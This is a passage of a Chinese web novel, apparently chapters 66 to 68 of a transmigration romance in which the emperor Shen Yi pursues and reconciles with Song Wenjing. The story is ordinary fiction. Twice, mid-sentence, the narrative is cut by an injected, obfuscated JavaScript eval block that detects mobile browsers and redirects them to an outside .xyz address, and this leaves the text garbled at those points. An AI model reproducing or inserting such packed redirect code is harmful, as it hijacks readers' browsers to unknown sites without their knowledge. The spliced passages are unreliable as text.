“嗯。”沈翊在前面说着方向,走几步就歇两口气等着宋闻璟。磨磨蹭蹭,花了好一会儿功夫才回去。 到了晚上,芙梦过来送药,顺便看了一下宋闻璟的情况,手上的伤口已经快愈合,马上就能拆线了,围在眼上的布条摘下来,宋闻璟睁开眼,视线似乎清明了许多,但还是有点重影。 芙梦又看了看脑后的包,已经快看不见,便道:“应该这几日就好了。” 宋闻璟闻言心里高兴的不行,喝了药就坐在床上沾沾自喜,不用动刀了。 等沈翊洗完澡进来时,宋闻璟已经躺下了,把人拽起来,给宋闻璟潦草地擦了把脸,又擦了擦手准备上药,宋闻璟静静地伸着手,直到沈翊拍了他一下,宋闻璟收回手往里移了移重新躺了下去。 已经好多天过去了,眼看宋闻璟的伤都快好了,柳溪他们怎么还没找过来,难不成几个刺客还对付不了了? 沈翊开口问道:“刚刚芙梦过来怎么说的?是快好了吧。” 宋闻璟点点头,“已经快了,怎么了?” “别耽搁太久了,京城还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921617|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道要乱成什么样子。”沈翊道,“要是没什么问题,这两天我们就走。” “可是……柳大人他们还不知道怎么样了?”宋闻璟默默道,“我现在还不想回去。” 回去就是真完了,他再也跑不出去了。 “别说这些没用的,既然没事了,我们也别给人家继续添麻烦了,这两天我们就走。”沈翊道,“我看你这手上的伤也差不多了,明天就拆线吧。” 宋闻璟沉默不语,过了半晌,道:“我不要。” 沈翊不答,只当做没听见。 但没想到的是,第二天宋闻璟能看清了,可宋闻璟谁也没告诉,照常喝药吃饭,但脑子里却想着一堆事。 芙梦来拆线时,只说要再等两天,没有下手拆线,沈翊倒也没坚持,想着两天时间都差不多回京了,倒时候让宫里的太医拆也不是不可以。 想罢,沈翊回去收拾了一点东西,本想今晚就带着宋闻璟走的,但不知道怎么回事,原本好好的一个人,突然湿了将近大半身的衣服回来了。 沈翊问他:“怎么回事?” 宋闻璟小脸苍白,打着寒颤,根本说不出一句话。 沈翊没办法,只好先将收拾好的行李放到一边,把宋闻璟扶上床,刚要顺手帮他脱了这衣服,但想了想又觉得不太好,便道:“你把湿衣服脱了,我去给你借一身。” 宋闻璟点了点头,脱了衣服盖着两床厚厚的被子,过了半晌,才堪堪缓过神来。 没办法,沈翊行事速度实在太快了,连他伤好的两三天都等不了,他都来不及摸清路线跑出去,那只好再病一场拖延一下。 沈翊这边倒也不是没有看清,这一瞧就是故意的,而且滴了一路的水渍不是从门口顺过来的,而是从另一个房间开始的。 回到房间,沈翊没戳破他,拿了碗姜汤和借来的衣服递到宋闻璟跟前,宋闻璟抬眼看了看,又忍不住缩了缩身子,没吱声。 沈翊强硬地将人扯了起来,将碗抵在宋闻璟嘴边,淡淡道:“喝了它。” 宋闻璟怔了两秒,还是强忍着怪味喝了下去。 “为什么不想回去。”沈翊突然道。 宋闻璟道:“我出来就是不想再回去。” “为什么?”沈翊道,“因为我?” 宋闻璟偏了下头,不作答。 “现在反悔是不是太晚了?”沈翊抬眼瞧了他一下,“你不是想帮我吗?” 宋闻璟道:“可能你也没有答应我的条件。” “你现在还不明白?”沈翊笑了笑,“你现在没有资格跟我谈条件,我现在不想要你的命,可你也别作的太过了。” 宋闻璟不说话自顾自地生着闷气,蜷着被子躺了下去,又翻了个身背对着他。沈翊拿着衣服扔在他身上,道:“穿上再睡。” 宋闻璟窝成了个球一动不动,沈翊扯着被子拽了两下,宋闻璟手上用上力气往回拽,没过多久手上又开始发疼,力气也跟着不自觉小了起来。 没过多久,就被沈翊扯下一块去,瞬间冷风灌了进来,将好不容易捂起来的热气散了大半。 宋闻璟脾气也跟着升起来,刚要起身跟沈翊好好辩驳一番,却没想到被沈翊一只手压了回去,宋闻璟能感受到后面的被子在慢慢脱离自己,不由得脸一红,心里愤恨不已,气愤道:“你在干什么?你不要拽我的被子。” 而身后的沈翊却早已一副呆滞的样子,全然听不到任何声音,他的看着宋闻璟的后背,位临于右肩方,上面开了一枝正在艳艳盛开的红梅向后背四周中间延伸,恰巧宋闻璟肤色偏白,映照雪景一般,却因为满背伤痕显得红梅有些被摧残过,将整副美景染上一种凄惨的意味。 沈翊抬起手不自觉抚上那枝红梅,而红梅下还藏着一道丑陋扭曲的伤疤,仿佛这才是红梅生根发芽的地方。 一瞬间,沈翊看到这枝红梅突然鲜活起来,鲜红的花瓣终于化作那日的熊熊烈火,他在烈火中又看见了那个人的身影。 感觉到沈翊手上松了力,宋闻璟忙坐起来,扯了扯被子,却不料突然被一只强有力的手扼住了脖子,沈翊冰冷的声音从头顶传来,“告诉我你到底是谁?” “你在效仿她,还是你一直在骗我?” 66.第 66 章 “殿下为什么又哭了?都要成小花猫了。” “因为大皇子他们都不喜欢我,说我是小灾星转世,迟早会害了他们,可我明明什么也没有做,他们凭什么要这样诋毁我。我不要再去费尽心思跟他们交朋友了,我只要你一个人就够了。” “那殿下就不要哭了,哭是没用的,为你讨厌的人掉眼泪不值得。” “可我心里很难受,就是忍不住怎么办?” “那可以趴在我身上哭一小会儿,之后就不能再哭了。” “那我以后只躲在你怀里哭,行不行?” “好。” …… “悦宜,我不高兴。” “怎么了?” “你今天跟别人走的很近,我不喜欢。” “为什么?” “因为我怕你会喜欢上别人,就不喜欢跟我玩了。” “不会的,我跟殿下自是第一好。” “那拉勾,不许骗人。” “不骗人。” …… “悦宜,今天母后跟我说,长大之后要向陛下请旨把你许配给我做太子妃,我很高兴,因为这样我们就能一直在一起了,但我怕你会不同意,因为以后的日子也会被许多东西束缚。” “可殿下,世上没有绝对的自由,如果是这样的结局,我倒也愿意陪殿下一程,同殿下一起看这万里江山。” “好,那此后我保护你。” …… “殿下,你会一直相信我吗?” “当然,你对我来说很重要。” “可有一天,我骗了你呢?” “我不相信。” …… 可现如今,我却不得不信,从前义无反顾真诚又浓厚地承诺与信任,到现在变成支离破碎,狼狈不堪的猜疑和背道而驰,而这一切的改变都仿佛是一眨眼的瞬间。 宋闻璟又静悄悄地走了,就好像从前一样,可自己却不像从前那般想去挽留去追了,他和宋闻璟之间好像真的断了,哪怕宋闻璟从前还留存着对他的一丁点的信任和感情,他都不该对自己隐瞒至今,让两人反目成仇。 而下次的见面,注定会是两败俱伤的局面。 沈翊坐在桌前,望着远处正在燃烧的烛火,四周安静的不像话,他愣神了不知道多久。 蓦地,一阵轻飘飘似带着几分春风拂面暖意的声音传进耳朵里,那是宋闻璟在唤他,下意识般的,他开口应了一声:“我在。” 万千思绪在此刻僵住,沈翊骤然回神,看着空荡荡的房间,心里扬起的水波瞬间埋进水面消失不见,不知道为什么,心里很空,仿佛少了些什么,又或者是被人狠狠掐了一把,呼吸都变得很疼。 不知想到了什么,沈翊急忙推开门,原来宋闻璟也没有站在门外唤他,刚刚那一句只不过是自己无意识般地幻听。 不知道什么时候,他开始适应宋闻璟一遍遍地叫他。 宋闻璟看不见时,总是很黏他,听不到或者摸不到他时,总会一遍遍叫他。起初,自己对此并不适应,回答的也敷衍,但后来也就习惯了。 想到第一次宋闻璟悄悄趁自己睡着后,贴在自己身后,自己没有察觉,直到翻身时压倒那人身上时,沈翊把自己吓了一跳,动作一大直接从床上掉了下去,沈翊当时问他:“为什么要挤我,你那边空着那么多为什么还来占我的位置。” 宋闻璟却怯怯道:“我看不见,太黑了,我有点害怕。” 此后,每次睡觉前,沈翊总会贡献出自己的一条胳膊给宋闻璟,有时候睡着后胳膊不自觉地收回来了,清早起床时,便会发现自己被子里多了个宋闻璟,而宋闻璟则像个小猫一样想方设法钻进自己怀里。 而刚刚的幻听也不是突然响起的,沈翊曾在无聊时,数过宋闻璟一天之内能叫他几遍,而短短的一天时间,他却数到了90次,而宋闻璟在感受到四周安静时,也总会唤沈翊的名字,似乎在独自一人的黑暗里寻找一份安心。 不知道什么时候,这点点滴滴融进心里,成了他下意识地动作,和忘不掉的记忆,而宋闻璟这三个字居然也会在他的身上刻上烙印。 远处突然一阵寒风袭来,吹动了沈翊额前的碎发,也吹回了沈翊逐渐飘远的思绪,下一秒,鬼使神差般地,沈翊跨出了门槛,而这一步只有沈翊无比清醒地知道,他收不回来了。 而他该去讨回一个准确的答案了。 夜路漫漫,似一眼望不到头,宋闻璟却在这条路上越走越快,他不敢回头,前方难以预料,可后面也不能逗留。 他不知道沈翊在得知自己逃走后,会怎么样,但这是唯一的机会,他必须要把握住。 夜晚温度很低,风吹在脸上就像被小刀割了一下,宋闻璟紧紧裹着身上的衣服,脚上沉的厉害每踏出一步,嘴边就止不住地呼出一口白气。不知走了多久,眼前出现一间早已荒废的破庙。这时,宋闻璟才回头看了一眼确保沈翊没有跟来,随后便躲了进去。 破庙空荡荡的,宋闻璟直径走到旁边的一处角落里,靠着墙壁曲腿坐下。 虽没有了寒风,但温度依旧很低,宋闻璟喘了几口气后,便忍不住咳了起来,嗓子又痒又疼,一放松,身子也乏的厉害,而这并不是个好的征兆,原本今晚就淋了一身子的冷水,又冒着冷风走了很久,不生病才是不正常的。 宋闻璟想了想,还是决定在这修整一晚,顺便再想想以后该怎么办。随后,宋闻璟拦了些周围的干草堆在一起,潦草地给自己搭了临时的小床,便准备找个舒适的姿势打算睡一觉。 但没想到的是,刚准备闭眼,沈翊会这么快找来,宋闻璟匆忙地看了他一眼,便立马起身不自觉地旁边移。 沈翊看着他没说话,不知道是跑的太急,还是外面太冷,脸颊两侧变得很红,连带眼眶上都染上了红渍,可每向前走近一步,宋闻璟都会跟着往后退一步或者几步,直到距离被渐渐拉开,宋闻璟瞅了一眼门口,随后看准时机迈步冲了过去。 但离门口只有一步之遥时,身后一只力道强劲的手抓着他的后衣领将自己拽了回来,宋闻璟不禁脚下踉跄了几步,后背生硬地撞在冰冷的墙壁上,撞得他头晕眼花,后背疼痛难忍,身子也跟着不自觉地滑落下去。 沈翊站在他跟前,宋闻璟下意识般地将自己蜷起来,害怕沈翊会像上一次想把自己掐死,又想到让人恐怖的窒息感,宋闻璟不禁剧烈咳了起来,他不能死,也不想死。 半晌,他伸出手拽住沈翊的衣摆,脑中措词不断闪现,可当抬起头看着沈翊那副阴沉可怕的面色时,所有的言语只化作简短的三个字:“放过我。” 话音刚落,沈翊一路上建立的心理防线在此刻彻底塌陷,宋闻璟这次怎么不再继续忽悠他了?只要他肯再说一句,哪怕是一句“不知道为什么出现在这里”他都可以把人直接带走。 “为什么?”沈翊冷冷道,“你不是很愿意依赖我吗?现在眼睛好了,就不想再继续需要我了,是吗?” “不……是……”宋闻璟低下头,手也不自觉渐渐松开了,不料在下一个瞬间,沈翊却突然俯下身,紧紧攥住宋闻璟松开的那只手,将人拉了起来。 宋闻璟心一慌不自觉地轻微颤抖了一下,他低着头,后背紧贴着的墙壁,沈翊手上的力度不轻,攥的人生疼,可宋闻璟只是皱了皱眉却不敢出声。 身前,沈翊压着脾气质问道:“那是什么,你把我当成什么了,现在病好了就翻脸不认人了,你告诉芙梦和我萍水相逢,你说哪个萍水相逢的人会这么照顾你,又会一次次地去救你,你这人真是没有心吗?” “什么?”宋闻璟闻言抬头猛然看向他,却道:“芙梦告诉你的?我明明让她不要告诉你的,是不是你对她做什么了?你不要动她们,我连累了裴夏,我也不想再连累其他人了,你放了他们,想让我做什么都行,我再也不跑了,行不行?” “我说的是这个吗!”沈翊瞬间全身紧绷起来,看着宋闻璟那副哀求可怜的样子,心里不禁烧了起来,却又在片刻间变得苦涩难堪,他微微垂首,不禁失笑一声,道:“其实所有人都对你很重要,我对你做了这么多,你怎么不觉得我也对你很重要,可不管是芙梦活着还是被我杀了,我在你心里是不是也根本改不了半分。” “你在说什么。”宋闻璟听着沈翊错综的长句,心里复杂混乱,却还是紧紧挂念着芙梦她们的情况,“我问你芙梦到底怎么了?” 闻言,沈翊卡在心头的情绪不禁又被堵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945618|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下,随后愤愤道:“我在和你说话,你为什么总是在问别人,就算我告诉了你,你又能怎么办,你什么都做不了,她死不死的管你什么事?” “啪——” 一个巴掌猝不及防地落在沈翊的脸上,沈翊脑袋一歪,随之脸上露出一抹嫣红,连带着火辣地痛感不断刺激着沈翊的神经,他略显呆滞地扭头迎上宋闻璟那双凌厉明亮的眸子。 宋闻璟挣了挣被沈翊紧握住的手,但沈翊力气太大,在尝试几次无果后,宋闻璟无奈又委屈道:“为什么,为什么会成这样,你总是在逼我,我已经给了你我现在所能给你的了,可你总是喜欢猜忌我,我也知道你恨我,讨厌我,可我现在也在尽力填补给你了,那如果这是个无法填补的恨,你的大可杀了我解恨,我不会怨你,因为我早就知道这是我最后结局,结局或许真的改变不了,但你不能这样逼我,而这所有的一切不都是你造成的吗?” “其实我也没那么厉害,我不是什么耀眼的大人物,我只是想过安稳生活的普通百姓,而你总是将逼我走上你所认为的道路。” “难道我就不讨厌你了吗?”宋闻璟继续道,“有时候我都快恨死你了,你凭什么不敢相信我一次,你问我你在我心里重不重要,可我在你心里根本就一文不值,那我为什么会觉得你很重要,你对我不好,是我最讨厌的人。” 话音落,宋闻璟忍不住咳了起来,一口气说完心里话,虽然有点累,但也能死而无憾了,反正早死晚死都要死,那不如死的痛快些。 一句一字灌进耳朵,沈翊蓦地愣住了,对自己而言,信任这个词实在是太沉重了,更何况是落在势如仇敌的宋闻璟身上,他不敢冒险也不能随意点头。可信任一旦扎了根,那等同于与性命相连。当然,那人也必定是放在心上的人。 半晌,宋闻璟渐渐缓了过来,沈翊也缓过神来道:“既然恨,那你为什么不对我动手?” “想过。”宋闻璟却道,“可我也亦觉得你很好,你以后会是个很好的明君,朝代也会因为你重新恢复生机,变得强盛,我虽不太懂这些朝政,但也不能因为自己,而害了你,害了更多无辜的人。” 话音刚落,沈翊缓缓放开了他的手,他有点不敢看宋闻璟,只是怯怯问道:“你怎么知道?可是又在骗人?” 宋闻璟摇摇头,只是简短回答道:“因为我还没见过你时就知道。” “这也是注定的。” 沈翊道:“你算过命?” 宋闻璟道:“了解过。” 沈翊道:“可是我不信这些,也不会杀了你,你可以选择继续依靠我,我定会护你一世周全,现在相必你也知道你自己的处境,就连山匪也不肯放过你,现在对你来说,我才是最好的庇佑地。” 闻言,宋闻璟愣了下,随后突然道:“你可是准备放了我?” 沈翊不答,宋闻璟随后道:“不需要,我会照顾好自己的,你回去吧。” 话音落,宋闻璟转过身准备回自己的小窝,不料,沈翊突然拉住他的衣袖,喊了他一声:“宋悦宜。” 宋闻璟没反应过来,回头皱了皱眉看他,沈翊却道:“这是我最后一次这样喊你,就当个告别吧。” 闻言,宋闻璟虽不太明白,但还是轻点了下头,沈翊刚放开手,便看见眼前的身影突然晃了一下,宋闻璟下意识地扶住了旁边的墙壁,不知道为什么脑袋突然疼了起来。 见状,沈翊立刻凑上前,感受到宋闻璟身上异常的温度,不由得担心道:“你起烧了。” 宋闻璟却只淡淡道:“没事,只是有点头疼,缓了一阵就好了。” 话音刚落,沈翊已经抱着自己出了门,宋闻璟闭着眼将头抵在沈翊肩前,怕没好全真是留下了后遗症,也不再反抗。 等回去时,宋闻璟已然起了高烧,迷迷糊糊喝完药便昏睡了过去,全然不知道被人抱着偷亲了一下。而这一吻,像是让沈翊找到了,打开心中感情缠乱死结的关键一步,理顺了许多事。 没过一会儿,芙梦走进屋子,询问沈翊道:“你说他偷了你很重要的东西,那你现在拿回来了吗?” 沈翊道:“他不愿意给我。” “那怎么行。”芙梦道,“要不要我帮你追回来?” 67.第 67 章 沈翊摇了摇头,并未说什么。 只是觉得有些东西必须是要亲手拿回来才算数的。 翌日,宋闻璟身上的烧退了下去,睁开眼,便看到一张被放大在眼前,轮廓分明,面容俊俏,还略带着几分稚气的小白脸。 从前宋闻璟看不清,总是要小心翼翼缩在沈翊怀里,被抱着觉得温暖和安心了才会睡个安稳觉。可现在看见了,现在再缩在沈翊怀里,居然还有点难以为颜和压抑不住的心乱,脸上也跟着不自觉染上红晕,难不成是因为这几天钻习惯了,养成了什么喜欢钻别人被窝的癖好吧? 想罢,宋闻璟急忙忙地坐起身,刚动了下身子想逃出去,身后便突然伸出的一条紧实有力的胳膊将自己拦了回去。 宋闻璟也猝不及防地撞进身后人的胸前,而后者则趁机将头紧贴在自己的肩膀上蹭了下,手上又继续紧了点力道,两秒后,身后没了其他声响,似乎又重新睡了过去。 宋闻璟感受着这一套流畅的动作,不禁怔了一下,自己是不是被人当成抱枕了? 而后过了一会儿,宋闻璟每挣扎一次,搭在身上的胳膊就用力将宋闻璟重新拦回原位置,一来二去,沈翊不愿意了,用脑袋蹭了蹭宋闻璟的肩膀,语气困倦又带着几分的讨好,像小鸟撒娇一样,说道:“别动了,再睡一小会儿。” 闻言,宋闻璟不自觉地僵住了,随后嗓子沙哑地开口道:“时候不早了,该起了。” 沈翊不说话,一直抱着他赖在床上,宋闻璟继续问道:“不是着急回去吗?今天要走吗?” 沈翊继续不吱声,只是手上不自觉地收紧了些。宋闻璟见状也止了声,陪着沈翊又躺了一会儿。片刻,嗓子干的越发厉害,又痛又难受,像被人撕裂了一样,喉间一遍遍涌上来的咳意,宋闻璟也只敢忍着闷闷轻轻地咳,连带往下咽口水都疼的让人清醒。 半晌,宋闻璟再也忍不住了,却又怕旁边的沈翊还在睡,只能动作轻轻地拿开沈翊搭在自己身上的胳膊,随后刚想静悄悄地下床喝口水,身后的沈翊也跟着起来了,宋闻璟扭头瞧了他一眼,沈翊的眼神清醒明亮,显然不像刚睡醒。 但宋闻璟只是慢慢移到床沿自顾自地准备下床,沈翊见他要走,连忙拽住他的衣角,问道:“你去哪?” 闻言,宋闻璟刚准备开口,之前压下去的咳意却在此刻全都返了上来,一时没忍住,咳嗽声一连串地从嘴里跑了出来。 等咳嗽声停止了,宋闻璟微微弓着腰偏过头,缓了好一会儿,才堪堪回神,嘴里似有股淡淡血腥味溢出来,宋闻璟慢慢咽下一口唾沫,像是一把小刀划过喉间,再抬头时,沈翊正拿着一杯水站在他面前。 宋闻璟伸手去接,却见沈翊又收了回去,随后坐在他身边,将杯口抵在他嘴边,道:“我喂你。” “不用,我自己喝就好。”宋闻璟摇摇头,喉咙很疼,说出的话也哑的不成样,随后又抬手去拿,却又被沈翊躲开。 宋闻璟不解地蹩眉看他,沈翊道:“以前我也是这样喂你喝水的,现在怎么就不用了?” “我现在能看见了。”宋闻璟解释道,“就不麻烦你了。” 沈翊开口道:“不麻烦。” 话音落,宋闻璟不禁愣了下,随后又笑了笑,道:“还是我自己来吧。” 见沈翊不为所动,宋闻璟也不想跟沈翊在这种事上争论,反正也不是只有沈翊手里这杯水。 想罢,宋闻璟往旁边移了移,起身下了床,准备重新给自己倒杯水。谁料,沈翊一脸无辜地依旧拽着他不放,宋闻璟不由得心生不满,在没拽开后更是有了脾气,对着沈翊道:“你不让我喝就算了,我自己倒还不行吗?” 几乎是话音刚落,沈翊立马跟着站了起来,有些激动地为自己辩驳道:“我没有,我给了的,但你不要。” 宋闻璟抬头看着沈翊一副魂不守舍的样子,恰逢两人四目相对的瞬间,沈翊总是很快地躲开,像是一只受惊的兔子,跑的很快,让宋闻璟根本抓不到。 “我不喝你的。”宋闻璟偏了下头,“我自己也会倒。” 见状,沈翊也不再固执,松了手将杯子塞进宋闻璟手里。 宋闻璟随之瞧着沈翊脸上挂了一早上忧愁的神情,抬手喝了几口水,随后疑问道:“你怎么了?” “我……没什么?”沈翊心不在焉地摆了摆手,随后又不禁叹了口气。 “真的吗?”宋闻璟道,“可你都写在脸上了,就因为我没喝那口水吗?可我现在已经好了啊。” “不是这个……”沈翊支支吾吾地开口,但又半天说不出一句整话。宋闻璟看着沈翊这股别扭又矛盾的样子,只道:“不想说就不说了,不用为难自己。” “不是,我想……” 话音未落,芙梦敲门叫两人起床吃饭,宋闻璟闻言应了一声,随后拽着沈翊穿好衣服走了出去。 这家小医馆虽不是很大,但来问病的人并不少。一般芙梦在家里坐诊,步七则背着药箱跟着师父出门行诊。 两人吃过饭,倒显得有些悠闲,宋闻璟总觉得应该给人家干点什么,才不会觉得白吃人家这么多天的饭,而且以苦力还债也不是不行。 想罢,宋闻璟去后面找了芙梦,沈翊倒没有这个觉悟,从小到大被伺候管了,而且当了这么多年皇帝,虽没少吃苦,但也从没吃过这方面的苦,所以这么多天几乎从没做过什么,但见宋闻璟动了,也就跟了上去。 今天的天气不错,芙梦趁着还没人来问诊,便想搬出药材来晒一下,见宋闻璟来帮忙,芙梦自然也高兴,两人刚闲聊了两句,前面便传来呼声,芙梦点头示意了下便急匆匆走了。 随后,沈翊看着宋闻璟一个人来来回回地搬东西,刚准备去帮忙,抬眼便看见宋闻璟已经又快又麻利地干完了。 后来,宋闻璟要去扫地,自己刚拿扫帚扫了两下,宋闻璟已经从另一边快扫到自己跟前了。再后来,宋闻璟去帮芙梦到后面拿药材,沈翊没想到宋闻璟会认识,这下只能干跟着,还一遍遍问道:“你认识这个?” 宋闻璟道:“了解过一些普遍寻常的,当时还想种上一两个在家养着。” “啊?” 沈翊不太了解,但选择略过。 直到中午,宋闻璟喝完药便犯了困,本想稍微眯一会儿的,但没想到一闭眼再睁开,天色 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“没……没啊,忙着抓鸡呢。”沈翊悻悻道,“那我叫你什么,不能乱叫吧。” 宋闻璟想了想,便道:“那你什么时候走?” “我?可能明天吧……” “啊!” “沈兄,鸡怎么都不动了,不会死了吧。” 还未等宋闻璟开口,身后突然传来步七一声尖叫,两人闻声看过去,笼子的鸡都恹恹地趴在笼子里。 当晚,差点含泪吃上一顿全鸡宴,但万幸,只是被沈翊暴力又迅速的手法吓着了,关进笼子后,不过一会儿,又都活蹦乱跳起来。 鸡没事了,但沈翊却蔫了起来。宋闻璟抱着一堆东西进来时,沈翊已经在床上躺尸了。 “今晚先把东西收拾好。”宋闻璟道,“路途不知远近,我给你多拿了点东西。” 说罢,宋闻璟把东西放到桌子上,身后的沈翊突然问他:“你是不是很希望我走?” 闻言,宋闻璟默了下,随后道:“你总归是要回去的,你是皇帝,宫里没了你不行。” 沈翊道:“所以,你才要这般赶我走?” 宋闻璟不明所以,“难道不是吗?这是你的职责,难不成你想要让别人取代你?” “我不想。”沈翊自言自语道。 宋闻璟不再说话,低头给沈翊收拾着行李,怕沈翊半路饿了没饭吃,往里面塞进了两个馒头,怕沈翊冷了,又塞了一套厚衣服进去,因为没钱,还特地找芙梦借了几块银子,写下了这些日子总共欠下的银子,打了个欠条,说下个月赚了钱就还给她。 幸好芙梦人很好,说还不了也没事,就当做好事积福了。 但宋闻璟只是把这话听了一下,钱总归是要还的。 行李上打了个结,宋闻璟刚想开口嘱咐沈翊一下,包裹里面有银子别掉了,却不料,头才刚微微动了一下,整个人便陷进一个温热的怀抱里。 沈翊贴近他耳边,娓娓道:“我说我不想走,但我又没有一个合适的理由留下来,现在你也不需要我了,我不知道还有什么方法能让我继续留下来,同时,你还不想赶我走。” 68.第 68 章 “你说什么?” 宋闻璟蓦地僵在原地,脑中突然恍了一下,温热的气息还在耳边断断续续拂过,而话入耳朵里,将心烹的又痒又热,毋庸置疑的,不可察觉的,宋闻璟红透了耳尖,也将脸颊两侧泼染上好看的红晕。 沈翊还在说,两条胳膊环在宋闻璟胸前,将身前人牢牢圈在自己怀里,以言语无法表达出来的感情化作自己的动作和内含中的力道,继续诉说。 “我也不想回去了。” 沈翊再次重复了一遍,宋闻璟立马劝解道:“这怎么行?你不想继续当皇帝了吗?可……” 可这就是你应该承担的责任和结局,而且你不是最想成为那般不受别人牵制的皇帝吗? 话音未落,沈翊便突然开口打断道:“我当然想,谁不愿意当皇帝?万人之上的位置,谁都想抢着坐,可我坐了这么多年,为的是什么,你知道吗?” 宋闻璟闻言,有些不解道:“因为你想杀了我?” “对。”沈翊顿了下,诚实道:“我很早之前就想杀了你,因为你这人实在太坏了,以前我就在想,你既然都已经做到了这种地步,为什么不继续取而代之,但后来我便觉得你是为了纯纯折磨我,可是我跟你无冤无仇,你为什么要这么做,我不明白,但我确实很讨厌你。” “这……对不起……”宋闻璟抿了抿嘴唇,脑袋里乱成一团毛线,好似说什么都已经晚了。 “道歉没用。”沈翊道,“说实话,我现在还恨你,但过了这么多年,我也就只剩下一个这么在乎的人了。从前,母后被贬去冷宫,却费尽心思保下我,她告诉我,只要做了皇帝就可以带她出来,但我没有做到,其实从那一刻起,这个皇位就不是我愿不愿意去挣的时候了,而是我必须去挣。但后来你出现了,我很意外你会帮我完成登基,我也曾以为你是会个很好的人,但很遗憾你不是。” “可现在我知道了你是谁,那抹恨意便突然变得强烈起来,我不知道十年前到底发生了什么,你走了之后又发生了什么,可如果你是在怪那时候我没能力护住你,我无可辩驳,但你不该不信我,如果是因为什么变故,让你对我产生了改观,你也大可以同我说,因为你在我这依旧很重要。” 话音落,宋闻璟突然开了叫了他一声,宋闻璟听见沈翊刚刚的这些长篇大论,似乎在透过他,在跟以前的原身诉说,而沈翊对自己的感情,好像更多的是来自于那人。 沈翊轻轻应了一声,转而便听到宋闻璟道:“你会不会在怨我?从前的事我都不知道,如果还有什么感情纠缠,还是尽快忘了的好,自后我们就没有关系了,或许再也见不到了。” “为什么?我想留下。”沈翊怔了下,沉思了两秒,顺而松了手上的力度,有些难堪道:“因为你现在不需要我,我知道,但不记得没关系,我们可以重新培养感情,我可以给你讲……” “不需要。”宋闻璟挣了两下身子,想从沈翊怀里逃出去,但沈翊又紧了力气,宋闻璟停下动作,不知道该说点什么,毕竟他又不是真的,只是无意间就穿书成功的现代人。 默了默,宋闻璟又道:“要不然你还是回去吧,行李我都给你收拾好了,而且你不想受万人敬仰,在史书上青史留名?让后人都敬仰你?” “为什么?比起名利我更愿意留在这,你说过要一直陪着我,现在你不愿意回去了,那我也要呆在这。”沈翊道,“我才不要一个人回去。” “可……可你不回去宫里怎么办?”宋闻璟道,“以后又会怎么样?原本你会得到一个好结局的。” 沈翊道:“你为什么总是说这个,我不知道以后会怎么样,但我知道现在在干什么,我走了,皇宫里又不缺我这一个皇帝,可是,我就只剩下一个你了。” “不应该的……”宋闻璟低着头小声呢喃着,不知道想什么。沈翊见宋闻璟没反应,突然紧紧抱着宋闻璟,将头埋进怀中人的颈肩,像一只大型犬撞在身上,讨好般地用力蹭了蹭。 宋闻璟被这一动作搞得措不及防,脖子被沈翊蹭的又热又痒,不自觉地去笑着挣脱开沈翊,而沈翊却跟上瘾一般,抱着宋闻璟蹭了好一会儿,才松了手。 结束了折磨,宋闻璟觉得有冷风贴了上来,他回头,对上沈翊那双明晃晃的眸子,不禁笑了笑,心里却想着,沈翊怎么还一股子小孩子气。 可一想,沈翊好像也不大,他开口问道:“沈翊,你今年几岁了?” 沈翊道:“怎么了?我不小了,难不成你嫌我在胡闹不成,可我不想回去,你打我也不成。” “你……” 闻言,宋闻璟一时之间也不知道该说什么,转念又想,沈翊这时候好像正是叛逆,青春期的时候,性子太焦太躁也寻常,可能受几天苦就乖乖回去了,若是真的想留在这,自己再怎么阻挠可能也无济于事,再或许是,青史留名不是沈翊唯一的结局,就像自己一样,避开了书里原定的剧情和结局。 “既然这样,那我就把东西先还回去吧。” “什么?你答应了?”沈翊怔了下,本就是意料之中,但听到宋闻璟亲口从嘴里说出来,还是会被惊到。 宋闻璟点了下头,随后抬手便准备将里面的东西拿出来,却在半空中,被沈翊握住,宋闻璟不解地看着他。 沈翊眉眼一弯,道:“明天再还也来得及,时候不早了,就别去了。” 宋闻璟愣了下,随后点了下头。 当晚,沈翊躺在床上正大光明地靠在宋闻璟身边,说了很多早些年发生过的趣事,虽然宋闻璟不知道,但还是会跟着附和两句,沈翊也不倦,不知说了多久,才堪堪以一句“我很高兴又能跟你在一起这样说话了”收尾。 宋闻璟闻言,也只是笑着点了点头,他很想确切地告诉沈翊,他一直挂念的人不知道去了哪里,而现在的他也不过是被自己借用了肉身的人。但看着沈翊那副失而复得欢喜不得了的样子,宋闻璟也不好意思戳破,打击他,毕竟自己还占着那人的身子。 思来想去,宋闻璟还是决定那便借着那人的名义,跟沈翊继续演下去吧。 半晌,沈翊觉得自己身上搭上了一只轻巧地手,宋闻璟跟他说:“那便重新开始吧,这次我不会再忘了。以后,我也好好 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傍晚,宋闻璟亲自下厨炒了两个菜,也算尽力当个好租客。而沈翊轻轻松松劈了柴,帮着宋闻璟一起下手,但因为不会生火,冒出的烟把小脸呛得黢黑,宋闻璟看见了笑他傻乎乎的,结果沈翊听完生了一顿闷气,最后又给沈翊单独开了个小灶才把人哄好。 吃过饭,宋闻璟坐在床边恹恹地靠在沈翊肩头,沈翊揽着他坐在旁边不敢动,直到宋闻璟微微动了下,沈翊犹豫了半天才缓缓开口问道:“头还疼吗?” 话音落,宋闻璟轻轻喘了口气,苍白的面容渐渐染上血色,他慢慢直起身来,轻轻摇了摇头,“不怎么疼了。” 